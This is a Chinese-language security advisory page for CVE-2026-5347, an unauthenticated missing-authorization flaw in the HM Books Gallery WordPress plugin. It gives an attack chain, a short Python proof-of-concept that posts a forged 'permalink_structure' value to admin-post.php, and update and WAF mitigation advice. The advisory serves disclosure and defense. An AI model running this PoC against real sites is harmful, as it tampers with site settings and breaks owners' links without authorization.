IPBUF安全漏洞报告
English
CVE-2026-5347 CVSS 5.3 中危

CVE-2026-5347: HM Books Gallery权限缺失漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-5347
漏洞类型
权限缺失
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
HM Books Gallery (WordPress Plugin)

相关标签

权限缺失WordPressCVE-2026-5347HM Books GalleryWeb安全

漏洞概述

WordPress HM Books Gallery插件在4.8.0及之前版本中存在授权缺失漏洞。该漏洞源于`wp-books-gallery.php`文件处理固定链接设置更新的代码中,未进行能力检查和Nonce验证。攻击者无需认证即可利用此漏洞,通过发送特制的POST请求修改`wbg_cpt_slug`选项。这将导致书籍画廊的自定义文章类型别名被篡改,改变所有书籍条目的URL结构,进而破坏现有链接并严重影响SEO排名。

技术细节

该漏洞的核心原因在于插件在`admin_init`钩子中直接处理`permalink_structure`参数,而未验证请求来源的合法性。在`wp-books-gallery.php`的205-209行,代码仅检查了`permalink_structure` POST参数是否存在,一旦存在即更新数据库中的`wbg_cpt_slug`选项。由于缺少`current_user_can`权限检查和`check_ajax_referer`等Nonce验证机制,任何未授权的匿名用户均可构造HTTP POST请求向目标站点发起攻击。攻击者只需将`permalink_structure`参数设置为任意字符串,即可成功篡改书籍画廊的URL前缀。这种逻辑缺陷属于典型的服务器端权限校验缺失,利用门槛极低,无需用户交互即可对网站的完整性和可用性造成影响,导致404错误泛滥。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别出目标网站安装了HM Books Gallery插件,且版本在4.8.0及以下。
STEP 2
步骤2:发送恶意请求
攻击者无需登录,直接向目标站点发送包含恶意`permalink_structure`参数的POST请求,触发`admin_init`钩子。
STEP 3
步骤3:篡改设置
服务器端代码因缺少权限校验,接受请求并更新数据库中的`wbg_cpt_slug`选项。
STEP 4
步骤4:造成影响
书籍画廊的URL结构被修改,导致现有链接失效(404错误),破坏SEO和用户体验。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_cve_2026_5347(target_url): """ PoC for CVE-2026-5347: Missing Authorization in HM Books Gallery """ # Targeting the admin-post.php endpoint which triggers admin_init url = f"{target_url.rstrip('/')}/wp-admin/admin-post.php" # Malicious payload to change the slug data = { 'permalink_structure': 'hacked-by-cve-2026-5347' } try: response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. The slug may have been modified.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage example # exploit_cve_2026_5347("http://target-wordpress-site.com")

影响范围

HM Books Gallery <= 4.8.0

防御指南

临时缓解措施
建议立即将HM Books Gallery插件更新到最新版本以修复此漏洞。如果暂时无法更新,应考虑禁用该插件或卸载,直到应用补丁。此外,可以通过Web应用防火墙(WAF)规则拦截针对`admin-post.php`的异常POST请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表